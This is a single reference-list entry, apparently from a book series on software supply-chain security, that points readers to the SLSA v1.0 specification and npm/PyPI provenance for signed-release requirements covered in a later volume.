- SLSA v1.0 and npm/PyPI provenance — for the `Signed-Releases` / provenance requirements referenced here, treated fully in Book 5 (https://slsa.dev/spec/v1.0/).